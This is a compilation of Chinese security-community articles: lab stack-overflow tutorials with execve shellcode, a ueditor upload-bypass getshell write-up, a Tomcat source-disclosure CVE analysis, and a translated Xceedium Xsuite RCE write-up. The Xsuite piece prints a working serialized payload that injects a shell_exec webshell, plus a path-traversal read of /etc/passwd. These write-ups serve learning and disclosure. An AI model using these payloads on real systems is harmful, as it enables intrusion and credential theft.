对于XP主机或者更老的机器,可以在每个Windows主机的网络适配器属性中禁用NetBIOS。对于Windows
7以上的机器,可以通过组策略来禁用LLMNR协议。
最后,在部署生产环境之前,确保安全配置标准都已经正确应用到了所有桌面系统中。如果桌面系统不存在安全配置标准,那么,请为它们创建。
Metasploit并不是唯一拥有这个功能的工具。
SpiderLabs的开源工具responder.py是另一个可以利用NetBIOS-NS和LLMNR中这个漏洞的工具。
Wesley McGrew的工具nbnspoof.py是一个古老的对NetBIOS-NS进行欺骗/施毒的学校工具。
捕获NTLM /
LM哈希表是试图访问网络的比较重要的第一步。我在这篇文章中列出的Metasploit的两个辅助服务模块都有一个设置,该设置可以将捕获的哈希表写成Cain &
Able或John the Ripper的格式,从而更容易地对捕获的哈希表进行进一步的破解。 | 社区文章 |
文章文类：漏洞分析类
来源文章链接：<https://infosecwriteups.com/into-the-art-of-binary-exploitation-0x000001-stack-based-overflow-50fe48d58f10>
# 标题：投稿-画二进制0x000001攻击的艺术 【基于栈的溢出】
> 亲爱的黑客同伴和安全爱好者，你好鸭。
## 1.什么是二进制攻击？
大家好，我现在计划在接下来的时间里发布一个“二进制Exploitation”系列的文章。不知道你是否知道其实这是一个在黑客空间中巨大而又核心的领域。在我开始之前，坦白说，对那些没有计算机背景的来说并不值得花这么多时间在这方面，但是我希望我能够尽可能以简单和容易的方式讲解。然而平铺直叙的罗列基础知识无趣死了，所以，敲重点！如果你有一个这方面好的基础，你一定会喜欢跟着我做的。
二进制漏洞攻击是一个在网络安全非常宽泛的主题，目的是发现程序中的漏洞并且攻击他，来获得shell控制全或者修改程序的功能。计算机能够理解的语言部分称为“二进制”。计算机以二进制操作，意味着存储数据和执行计算都只用0和1。一个比特二进制代表不二逻辑中的True（1）和False（0）。每一种语言，都有其特别的地方，同时很多时候他们也有许多程序语言的共性。二进制的原理是利用弱势转化为优势，即利用缺陷和漏洞来导致意外和不可预料的行为发生。
> 先修课程
>
> 编程基础 64位汇编 Linux终端使用
所以我们开始一个简单的基于堆的缓冲区溢出。
## 2.缓冲区溢出
这里有两种不同的缓冲区溢出攻击。一种是基于堆的，另一种是基于栈的缓冲区溢出。这两种情况，都是发挥了应用等待用户的输入的优势。它可以造成程序崩溃或者执行任意代码。一个缓冲区溢出发生当程序尝试将比他能够接收到的更多的数据充满内存（一个内存缓冲区）。攻击者通过覆写应用的内存执行缓冲区溢出问题。缓冲区溢出是一种软件应用常见的漏洞，他可以攻击实现远程代码执行RCE或者DoS攻击。最简单最长的缓冲区溢出出现在堆上。最重要的原因缓冲区溢出是编程语言的使用，没有自动的监视和现实内容的缓冲区或者基于堆的缓冲区溢出问题。这包括C和C++语言，下面给出一个例子。
## 3.漏洞C程序
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
void abracadabra() {
printf("Success..! Function called :D\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*point)();
} hackvist;
hackvist.point = NULL;
gets(hackvist.buffer);
if (hackvist.point) {
printf("Function Pointer → %p\n", hackvist.point);
fflush(stdout);
hackvist.point();
} else {
printf("Try Again\n");
}
exit(0);
}
如果你有一写C语言的编程基础那么你就明白上面的代码是如何运行的。如果还是存在着疑惑，
等待我来解释吧。
> 我们的目标：为了执行没有被调用的“abracadabra”函数
代码提供了一段函数“abracadabra”，却没有在任何地方调用。代码使用了一个大小为64的缓冲区和一个“*point”指针。并且指针的值设置为NULL，通过`gets()函数`赋值`&`。`gets()`从标准输入`(stdin)`读取字符，然后以一个C语言字符串类型存储起来，直到出现一个换行符或者输入文件结尾。然后`point
value`会被校验（默认时我们设置为NULL）并且以`print`输出。如果值仍然是`NULL`呢？那么会尝试重新获取输出。下面编译和运行程序看看：
**代码成功编译并且准备执行。你可以看到在编译后发现一个告警信息，通常情况下，人们最关心`errors`类的错误，忽视`warnings`类的错误。**
> 警告：gets函数非常危险，不应该使用。
## 4.为什么gets()是非常危险的？
因为函数假设用户输入是不安全的。绝不要考虑使用它。因为gets没有办法阻止buffer
overflow，所以你不会要用gets。他不会对其输入的大小做边界检测。攻击者可以很轻松的发送一个任意大小的输入到gets()中，以造成buffer溢出的目的。如果用户输入更多的数据，那就会使得非常可能以出错或者更早的形式结束。
通过提供一些输入我执行这个程序。程序代码显示相同的“Try Again”输出。
假设else语句开始输出。
> _if (hackvist.point) {_
> _printf(“Function Pointer → %p\n”, hackvist.point);_
> _fflush(stdout);_
> _hackvist.point();_
> _}_ **else {
> printf(“Try Again\n”);** _//\_ This One *// __}*
这意味着指针的值仍然为`NULL`，“hackvist.point=NULL”，所以让我们开始探索代码。
目的是改变程序执行流程，执行`abracadabra`函数。现在我们开始调试代码。
> 第一，我会进入main，然后以不进任何输入运行。
>
> b main
>
> 断点位于 0x119a
我通过每次输入ni跳过指令。最后到达`gets()`函数的指针地址。我将以不进行任何输入进行分析流程。
正如我所说的，我没有提供在需要输入的时候提供任何值。代码依然像上一次那么运行。指针的值是`NULL`，那就是说else语句被执行。结果如下：
现在，是时候分析并绕过这个值了。buffer缓冲区的大小是64，所以我将以可识别的格式传递这些值。也很容易理解，在这里，我简单的做了一个python样本。
> 我们会使用它作为输入，所以我只需要简单的做：
>
> _python exploit.py > exp_
>
> b main：首先打入main断点
>
> r < exp ： 然后用python脚本作为输入运行
这时流量变了。它会超出缓冲区的边界并覆写相邻的内存位置。所以指针pointer的值从NULL发生了改变。
> 在持续执行else语句之后，我们在嗲吗
>
> **NB: 指针值被彻底改变了!**
继续输入`ni`，我们可以发现有趣的东西。
## 5. **分段故障（Segmentation Fault）**
一个程序分段错误是一个常见的条件，可以造成程序崩溃，又叫做segfault。这通常发生在程序试图访问不被允许访问的内存位置，或者试图以不被允许的方式访问内存位置。现在，我们已经走上了正轨，我们能够通过类似的r
< exp的方式在gdb中和分析寄存器来验证Overflow发生在哪里。
通过跳跃下一条指令ni(next instruction
),我们将到达分段故障之前的位置点。寄存器的值可以通过python分析出来。chr()方法得到了一些Unicode编码是整数的字母。
在之前的例子中，我们看到了`Function Pointer ->
0x5252525251515151\n`，我们知道Q和R好像被溢出了，&具体的值储存在缓冲区后的pointer指针中。所以，那么现在程序代码`hackvist.point();`会被调用。我们的目的是执行`abracadabra`函数。显然，如果我们把函数的入口地址放在pointer指针中，那么程序将会调用这个函数。现在我们检查`abracadabra`的地址。
我们得到了函数的地址，现在我们编辑一个python脚本，写一小点点的代码。我们以合适的方式放置`0x555555555179`并且不得不考虑字节顺序。因此，我清除了buffer中Q，因为我知道输入仍然是可识别的格式。我添加地址“0x555555555179”到payload并且因为需要完成移动所以保存它。
让我们运行这个python脚本 exploit.py > exp & 在gdb中 "r < exp"
，以相同的方式。我们过去常使用的这种。现在我们可以看到我们的目标成功了。pointer的值现在变成了函数“abracadabra”的值。
hackvist.point的值=我们想要调用的地址。所以，“hackvist.point();”调用函数“abracadabra”，并且我们可以执行这个函数。
耶！现在我们的目标完成了。
现在来解决相似的挑战来自exploit education。我们可以使用命令来将填充自身作为一种战略策略。
正如我们以往所做的那样，这里我们的目的是调用函数 **“complete_level”**.
我们可以简单的查找他的地址，使用工具是objdump。
> objdump -d ./stack-three | grep complete_level
我们放置这个地址在指针pointer的值中，然后它就会调用这个函数。一行简单的python代码就足以通过缓冲区溢出这种非常有效的方式来解决这个挑战。结果如下。
简单的输入:
python -c 'print"A"*64 + "\x9d\x06\x40"' | ./stack-three
如果没有函数指针变量和可以修改的变量该怎么办？我们还可以执行一个函数吗？
回答：当然可以
## 6.来源于漏洞教育——>原恒星的源代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
我们想要重定向程序的执行流程，并且执行win函数，在理想状态下它不应该会被执行。源代码中没有一个函数指针变量并且没有可修改的变量。我们可以溢出栈stack中的返回指针return
pointer，代替本地变量溢出。他将会读取错误的值并运行。
## 7.通过溢出缓冲区创造使得知道分段故障信息
user@protostar:/opt/protostar/bin$ python -c 'print("A"*64)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*70)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*75)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*76)' | ./stack4
Segmentation fault
我们可以看到在76个字节之后的这个区域内覆写了指令指针，所以我们需要76个'A'和小端方式的win地址。、
user@protostar:/opt/protostar/bin$ objdump -x stack4 | grep win
080483f4 g F .text 00000014 win
所以我们得到了win的地址，是'0x080486f4'。现在我们需要使用python输出76个'A'，然后是小端地址。
user@protostar:/opt/protostar/bin$ python -c 'print("A"*76 + "\xf4\x83\x04\x08")' | ./stack4
code flow successfully changed
Segmentation fault
哈哈，代码执行流程被成功改变。我们执行win函数。
出现分段故障？因为在我们代码执行win函数之后，程序尝试返回下一个栈中的值。结果是一个无效的代码段。
## 8.也许此时正真的overflow才开始？
现在是时候写下我们的第一个缓冲区溢出的sheelcode，这将像你展示缓冲区溢出是多么的强大。在之前的例子中，我们看到当程序执行者控制输入，可能并不会检查长度，并且很可能恶意的用户可以覆写值和改变值。我们可以控制函数的返回去哪里并且改变程序的执行流程。我们也知道可以重定向返回地址到其他内存地址中控制执行的流程。用这些我们实际可以做哪些有用的事情？此时目的地就是“ShellCode”。
## 9.ShellCode过程
一段远程注入的具体代码，黑客用它来攻击各种各样的软件漏洞。之所以这样命名，是因为它通常会生成一个shell外壳，攻击者可以通过该shell控制受影响的系统。他是一段机器码指令，允许易受攻击的应用程序在运行中被注入有害代码。
> 下面是一个常见的过程：
>
> _➜_ 找到buffer的起始地址和返回地址的起始地址。
>
> _➜_ 分析地址之间的差距，所以就会知道输入多少数据溢出。
>
> _➜_ 首先在缓冲区中输入shellcode，在shellcode和返回地址中输入随机数据，并在返回地址中输入缓冲区的地址。
对于这个例子，我们从THM room的缓冲区溢出开始测试。注意overflow-3文件夹。
<https://tryhackme.com/room/bof1>
## 10.什么是challenge？
打开一个shell然后独处secret.txt文件的内容。
在这个文件夹中，你可以看到下面的C源码。
//* buffer-overflow.c *//
#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}
argv[1]是一个长度为140字节的缓冲区命令行参数，由于strcpy的性质，它不检查数据的长度。所以我们开始学习变魔术！
> 4个字节被覆写。（0x0000000041414141）
>
> 计算偏移的字节是（156-4）152字节。
在经过几次尝试后，所有的失败都带有非法指令错误，我发现了一个shellcode(40字节)。
shellcode=
‘\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05’
**cat /etc/passwd**
文件包含以下以冒号分隔的信息：
用户名，加密密码，用户ID，用户组
User name, Encrypted password, User ID number (UID), User’s group ID number
(GID).
我们可以使用pwntools来生成shellcode前缀，执行setreuid()，可以设置调用进程的真实和有效user ID。
> (1002:user)
>
> pwn shellcraft -f d amd64.linux.setreuid 1002
>
> 我们的payload长度
>
> NOP sled=90
>
> Setreuid=14
>
> Shellcode=40
>
> Random chars=8
>
> Memory address=6
>
> paylaod长度：90+14+40+8+6=158字节
用python写exploit是一种非常简单的方法。我的攻击程序如下：
让我们运行exploit，注意图中所写的从user1到user2
./buffer-overflow $(python exploit.py;cat)
## 11.— NB！ —
这只是一个简单的开始！
在将来，我们将会讨论下一个水平的攻击游戏。 | 社区文章 |
## 前言：
本篇文章是关于一次渗透测试中意外getshell的记录，属于ueditor v1.3.x
的aspx语言的非网上流传的getshell方式。由于当时在网上搜索并未发现该种getshell方法，故分享给各位。
## 经过：
起因是针对某客户网站进行渗透测试时，发现了一个ueditor编辑器路径，并且网站是aspx，经验丰富的渗透测试人员应该都已经想到网上广为流传的v1.4.3的那个远程文件加载绕过导致的getshell方式。起初，我也是第一反应去进行该尝试，但是网站回馈对应漏洞url404。在测试结束其他功能点后，再回过来看这个漏洞，我产生一个疑问，据我说知，ueditor是个由唯一入口文件\ueditor\net\controller.ashx
进行请求分发。如果开发知识单纯得删除了漏洞文件，必然影响网站的正常使用。起于该思虑，我下载了v1.3.6版本的net源码，进行查看。
确认后了解，ueditor在1.4.x版本对整体设计架构进行改版，在v1.3.x,还是离散的功能文件存在的，上传功能在\ueditor3\net\fileUp.ashx。代码如下：
本意是对.net进行代码审计，发现是否存在安全漏洞（虽然通过搜索引擎并未找到这种信息），但是有意思的是在我审计出来之前，先前开启的burp的后缀fuzz已经有所发现。
框架使用的是白名单，并重命名，但是代码层面存在两点不足。
第一点是获取后缀的函数是自定义的，并且存在逻辑问题。这部分代码存在于\ueditor3\net\Uploader.cs:190
简单来说，该函数就是以“.”为分割符，得到一个文件名信息的字符型数组，并获取数组最后一个值，在前面添加‘.’后作为后缀返回。这里存在一个问题，如果所传的字符不存在点字符，文件名以点分割获取的数组只有一个值也是最后一个值，如，‘pdf’。该函数最后返回的值将是‘.pdf’。从而绕过白名单的检查。
另一个问题就是文件名的生成过程，文件名是随机生成的，但是随机生成的决定参数是前端fileNameFormat传入，格式是{filename}{rand:6}，最简单办法就是直接将该参数改为字符串，不会被正则匹配，直接拼接入文件名。同时此时获取后缀的函数使用asp.net自带的获取后缀的方法Path.GetExtension(filename)，（这里只想说不知道开发是怎么想的），该函数获取pdf中后缀的值为空。所以最后保存的文件名只由format决定。
这里完成了对1.3.6版本的分析，同时我也搭建了jsp、php本部的和v1.4.3的ueditor对应的三种语言的靶场，经查看，这几种均使用语言自带的获取后缀的函数。所以该利用方法也只能在v1.3.x的aspx环境下复现。
## 总结
v1.3.x的市场覆盖率确实较1.4.3低了很多，希望能帮碰到该环境的老哥们多拿一个shell吧！如有，错误和不足之处，望多多斧正。 | 社区文章 |
Author：n1nty
地址：http://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA
**最近的几个 Tomcat 的 CVE**
1. CVE-2017-5664 Tomcat Security Constraint Bypass
2. CVE-2017-12615 远程代码执行漏洞
3. CVE-2017-12616 信息泄露漏洞
**共性**
1. 都是鸡肋
2. 都跟 JspServlet 和 DefaultServlet 有关系
CVE-2017-12615 这个远程代码执行遍地都是了，好像没有人看 CVE-2017-12616 造成的 JSP 源代码泄露的问题。这里简单写一下。
**CVE-2017-12616**
**要求**
目标利用 VirtualDirContext 来挂载虚拟目录。挂载虚拟目录的需求应该还是有一些的，所以应该比开 PUT 的概率要大一些，不过也是鸡肋。
**简要分析**
要造成 Jsp 源代码泄露，肯定需要让 DefaultServlet 来处理 jsp 的请求。Tomcat 利用类似 JNDI 的方式来管理 Web
资源（JSP，静态文件，Class 等）。默认情况下，资源由 FileDirContext 来进行管理。 而利用 VirtualDirContext
挂载的虚拟目录，是由 VirtualDirContext 来管理的。
通过类似 CVE-2017-12615 的利用方式访问虚拟目录中的资源，让请求由 DefaultServlet 处理，Tomcat 从
VirtualDirContext 管理的资源中获取访问的 jsp 文件（通过 doLookup 方法），直接将内容返回，造成源代码泄露。
为什么只有虚拟目录存在这个漏洞？因为非虚拟目录默认由 FileDirContext 管理的。FileDirContext 中有存在有一个名为 file
的检查方法。
protected File file(String name) {
File file = new File(base, name);
if (file.exists() && file.canRead()) {
if (allowLinking)
return file;
// Check that this file belongs to our root path
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null)
return null;
// Check to see if going outside of the web application root
if (!canPath.startsWith(absoluteBase)) {
return null;
}
// Case sensitivity check - this is now always done
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + "/";
String absPath = normalize(fileAbsPath);
canPath = normalize(canPath);
if ((absoluteBase.length() < absPath.length())
&& (absoluteBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(absoluteBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}
} else {
return null;
}
return file;
}
该方法不能防止 /a.jsp/ 这样的 URL，但是 DefaultServlet 随后有检查末尾的 /，导致 / 不能被使用。
而新版本的修复方式也是对代码进行了小范围的重构，将上面的检查方法拆到了名为 validate 的方法中，并重写了 VirtualDirContext
中大量的方法，调用 validate 来访问的文件进行检查。
**利用**
与 CVE-2017-12615 类似，达到查看 Jsp 文件源代码的效果。
**修复**
升级 | 社区文章 |
原文链接：[https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767](https://medium.com/DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767)
* * *
首先，很抱歉这次我做了回“标题党”。好在我已经克制住不去做个“钓鱼网站”来吸引你了。:)
不久前，我以红队的身份找到了一个RCE，该漏洞可以让我们快速获取客户内网的高访问权限。这事听上去平淡无奇，有趣的是这个漏洞源自两个字符错字，官方声明在[这里](https://support.ca.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html)。
**注意：** _我知道这篇博客加点截图会更好，但我不敢冒泄露客户信息的风险。_
## 暴力破解
在做过一些爆破后，我找到了一个属于目标组织的子域名，它自豪地响应道“Powered by Xceedium Xsuite”。谷歌一番后，我在exploit-db上偶然发现了一篇包含几个Xsuite漏洞的文章，其中有未验证命令注入、反射型XSS、任意文件读取和本地权限提升。很简单，不是吗？
## 任意文件读取
遗憾的是，由于目标做了配置。命令注入漏洞不起作用，权限提升需要事先登入设备，并且我被要求尽可能避免和用户交互（因此XSS也不行）。我们只剩下任意文件读取漏洞了：
/opm/read_sessionlog.php?logFile=....//....//....//etc/passwd
当然，可以由外网访问到的只有80和443端口。尽管能够从`/etc/passwd`文件中读到各种哈希值，但它们对我来说毫无用处：
sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet
sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp
此时，我想最好的方法是找到主机的`document_root`并下载源代码。然后，我就能审计代码来找到Xceedium
Xsuite的其他漏洞。在阅读了大量Apache配置文件后，我找到了`document_root`：
/var/www/htdocs/uag/web/
目前为止，我们只知道两个页面的位置：
/var/www/htdocs/uag/web/opm/read_sessionlog.php
/var/www/htdocs/uag/web/login.php
使用任意文件读取漏洞，我下载了这两个文件的源代码。我重读了代码，来寻找它们对其他PHP文件或配置文件的引用，后来又下载了被引用文件。虽然这个过程可以用自动化脚本，但在我决定审计代码那一刻起，我就决定手动下载源码了（这样可以减少向目标主机发送请求的数量）。
我用了一天的时间手动下载和审计php文件。我感觉对应用程序的工作流程已有了足够的了解，并且找到了一些bug或者叫有趣的功能。除了之前所述的RCE外，还发现了其他漏洞，例如新的任意文件读取和各种SQL注入问题。因为我已经可以读取本地文件并且目标似乎没有配置数据库，所以这些新洞也没什么用。此时我唯一感兴趣的就是RCE。
## 代码执行之路
我要说的第一个有趣的功能是`linkDB()`，它逐行读取`/var/uag/config/failover.cfg`的内容并将其传递给`eval()`函数。这意味着如果我们找到将PHP代码写入`failover.cfg`的方法，我们就能调用`linkDB()`函数来在主机上执行远程代码。但目前我无法控制`failover.cfg`的内容。
/var/www/htdocs/uag/functions/DB.php
function linkDB($db, $dbtype='', $action = "die") {
global $dbchoices, $sync_on, $members, $shared_key;
if(!$dbchoices){
$dbchoices = array("mysql", "<REDACTED>", "<REDACTED>");
}
//reads file into array & saves to $synccfg
$synccfg = file("/var/uag/config/failover.cfg");
//iterates through contents of array
foreach ($synccfg as $line) {
$line = trim($line);
$keyval = explode("=", $line);
//saves contents to $cmd variable
$cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";";
//evaluates the contents of the $cmd variable
eval($cmd);
}
…
}
过了一会儿，我找到了生成`/var/uag/config/failover.cfg`的函数（这段代码稍作修改，已略微掉多行字符串解析语句！）。
/var/www/htdocs/uag/functions/activeActiveCmd.php
function putConfigs($post) {
…
$file = "/var/uag/config/failover.cfg";
$post = unserialize(base64_decode($post)); <-- 忽略这句 ;)
…
$err = saveconfig($file, $post);
…
}
总结一下：现在知道`failover.cfg`的内容会被传递给`eval()`，这可能会导致代码执行。`putConfigs()`函数接受一个参数并将它传递给`base64_decode()`，其结果又被传递给`unserialize()`（再一次，请假装你没看到这个！）然后将它保存到`failover.cfg`。现在，我们来看看`putConfigs()`中使用的`$post`变量来自哪里，以及是否可被利用。
/var/www/htdocs/uag/functions/activeActiveCmd.php
function activeActiveCmdExec($get) {
…
// process the requested command
switch ($get["cmdtype"]) {
…
case "CHECKLIST":
confirmCONF($get);
break;
case "PUTCONFS" :
putConfigs($get["post"]);
break;
…
}
因此传递给`putConfigs()`的`$get`参数也是传递给`activeActiveCmdExec()`函数的参数。
/var/www/htdocs/uag/functions/ajax_cmd.php
/var/www/htdocs/uag/functions/ajax_cmd.php
if ($_GET["cmd"] == "ACTACT") {
if (!isset($_GET['post'])) {
$matches = array();
preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches);
$_GET['post'] = $matches[1];
}
activeActiveCmdExec($_GET);
}
所以`activeActiveCmdExec()` 直接采用用户的输入。也就是说我们可以控制`activeActiveCmdExec()`的输入,
当它依次传入`putConfigs()`、`base64_decode()`、`unserialize()`后，最终存储在
`/var/uag/config/failover.cfg`中。 现在我们可以构造一个序列化的base64编码过的请求，它会被保存入
`failover.cfg`文件,
然后我们调用`linkDB()`函数，它会包含我们的恶意代码并传给`eval()`执行，这样就得到了RCE......这就是我的思路。
如果我们直接利用，它就会覆盖一个配置文件，可能产生一个错误或者破坏设备，这会惹恼我的客户。即使没有弄坏设备，我们也只有一次写入配置文件的机会。为了谨慎起见，我提取了相关的代码段并在本地测试exp。几次尝试后，我收到了“BAD
SHARED KEY”消息。好吧，我在`activeActiveCmdExec()`函数的开头漏看了一些东西：
/var/www/htdocs/uag/functions/activeActiveCmd.php
function activeActiveCmdExec($get) {
// check provided shared key
$logres = checkSharedKey($get["shared_key"]);
if (!$logres) {
echo "BAD SHARED KEY";
exit(0);
}
…
}
函数检验了通过`$get`变量传递的共享秘钥是否正确。如果没有合法的密钥，我们就无法走到将代码写入`failover.cfg`文件这一步，也就无法调用`linkDB()`函数，最终无法在远程主机上执行代码......
此刻，我只好整理思路并寻找新的方法（利用传递给`unserialize()`的未经处理的用户输入这条线索？）。好在由于我能读取本地文件，而共享密钥可能被硬编码在了源码中，也可能保存在可读的配置文件中。找到秘钥就能在请求中包含它，并通过检查。那就看看`checkSharedKey()`函数，找找保存共享密钥的位置。
/var/www/htdocs/uag/functions/activeActiveCmd.php
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) { //1
return false;
}
if (trim($shared_key) == "") { //2
return flase;
}
if ($f = file("/var/uag/config/failover.cfg")) {
foreach ($f as $row) { //3
$row = trim($row);
if ($row == "") {
continue;
}
$row_sp = preg_split("/=/", $row);
if ($row_sp[0] == "SHARED_KEY") {
if ($shared_key == $row_sp[1]) //4
return true;
}
}
} else {
return false;
}
}
此功能执行以下操作：
1. 检查传递给它的密钥长度是否为32个字符;
2. 检查传递给它的键是否是空字符串;
3. 逐行读取`failover.cfg`文件;
4. 检查提供的共享密钥是否与`failover.cfg`中的共享密钥匹配。
因此，我们可以先从`/var/uag/config/failover.cfg`文件中提取共享密钥，将其添加到请求中。将构造的php代码base64编码、序列化、写入`failover.cfg`中，最后调用`linkDB()`、`eval()`来执行代码，也就是RCE。在阅读了`failover.cfg`的内容之后，我被以下内容感动：
/var/uag/config/failover.cfg
CLUSTER_MEMBERS=
ACTIVE_IFACE=
SHARED_KEY=
STATUS=
MY_INDEX=
CLUSTER_STATUS=
CLUSTER_IP=
CLUSTER_NAT_IP=
CLUSTER_FQDN=
文件是空的！
我们无法窃取现有密钥因为它压根没有被配置。再次失败后，我将注意力转回`checkSharedKey()`功能。
`checkSharedKey()`函数做的第一件事是检查提供的密钥的长度。这意味着我们不能简单地传递一个空白键来通过检查，这回可能GG了。然而，过了一段时间，我注意到一个被忽略了的微妙问题。你看见了吗？
/var/www/htdocs/uag/functions/activeActiveCmd.php
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) {
return false;
}
if (trim($shared_key) == "") {
return flase;
}
…
}
由于笔误，当提供一个长度为32字符但在调用`trim()`后为空的共享密钥时，该函数将返回“flase”。注意，返回得是字符串“flase”而不是布尔值FALSE。哈哈，字符串“flase”的布尔值为TRUE，因此密钥检查将成功，由此可以绕过检查。
检索PHP手册的的`trim()`函数，我看到以下内容：
理论上将，我们可以使用32个空格、制表符、换行符、回车符、空字节或垂直制表符绕过检查实现RCE。这全都靠有人在敲“false”这个词时签错了两个字母！
为了测试我们的想法，我提取了代码的相关部分，并编写一个与Xsuite代码相同逻辑的小脚本。
<?php
//Take user input
$shared_key = $_GET['shared_key'];
//Echo user input
echo "Input: " . $shared_key . "\n";
//Echo the string length (Hopefully 32)
echo "shared_key Length: " . strlen($shared_key) . "\n";
//Pass the input to the checkSharedKey() function
$logres = checkSharedKey($shared_key);
//Echo out the raw returned value
Echo "Raw Returned Value: ";
var_dump($logres);
//Echo the Boolean value of returned value
Echo "Boolen returned Value: ";
var_dump((bool) $logres);
//Echo either “bad shared key” or “auth bypassed” accordingly
if(!$logres)
{
echo "BAD SHARED KEY\n";
exit(0);
} else {
echo "Auth Bypassed";
}
function checkSharedKey($shared_key) {
if (strlen($shared_key) != 32) {
return false;
}
if (trim($shared_key) == "") {
return flase;
}
}
?>
接着我测试了几条输入：
正如所料，传递一个32字符的随机字符串会返回FALSE，不会绕过检查。现在尝试回车/空字节等字符：
如预期的那样，由32个回车符、空字节等组成的字符串将绕过`checkSharedKey()`函数。现在可以绕过授权检查并实现RCE了。由于此利用程序需要很多步骤，而且可能出现大量错误，因此我决定再次摘取相关代码并在本地测试。
## 利用
经过一段时间的本地测试后，我将利用提炼成以下几步：
1. 利用`$shared_key`参数绕过检查，并向`failover.cfg`文件注入恶意代码：
ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=
解码post参数，得到以下序列化过的攻击载荷：
a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}
它对应一个PHP的表单对象：
$data = array();
$data['radio_iface'] = "iface";
$data['cluster_members'] = array("127.0.0.1");
$data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";
$data['status'] = "OFF";
$data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}
1. 利用`read_sessionlog.php`中的任意文件读取漏洞读回内容，来查看配置文件是否被投毒：
1. 调用`linkDB()`函数以使`eval()`函数评估 `failover.cfg` 文件的内容，从而执行命令。
POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1
c=whoami
## 结论
在我们第一次发现Xceedium设备时，感觉自己挖到了宝。一个明显过时的设备，加上一个公开可用的漏洞，RCE仿佛触手可及。但情况并非如此，最终攻克的过程也比预期花费了更多的时间和精力。
你若好奇接下来的攻击路线，它大概是这样：在拿下设备后，我们很快发现了一种获取设备root权限的方法。由于Xceedium
Xsuite（软件功能：身份和访问管理）的性质，这台设备每天要验证数百名用户。使用root权限，我们只需在login.php中做个后门就可以窃取数百个域登录凭据。有趣的是，我们捕获到一些域/企业管理员的明文凭据。这使我们可以登录全球多个域主机。当然，红队的目标不是获得域管理员权限，但它依然很有帮助。
:)
如前所述，我很抱歉没有更多的屏幕截图显示实际的攻击，但我也不想冒险得罪客户。此外，在挖掘过程中我也从未公开漏洞。最后，我要说在披露过程中与Xceedium（现在的CA
Technologies）合作是一种享受，这话好假。 | 社区文章 |
# 技术揭秘:宏病毒代码三大隐身术
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
作为一类古老的病毒,宏病毒随着勒索软件的兴起而卷土重来。尤其是在2016年,以Locky为代表的勒索软件利用Office宏肆虐传播,宏病毒也成为目前最活跃的病毒品种之一。
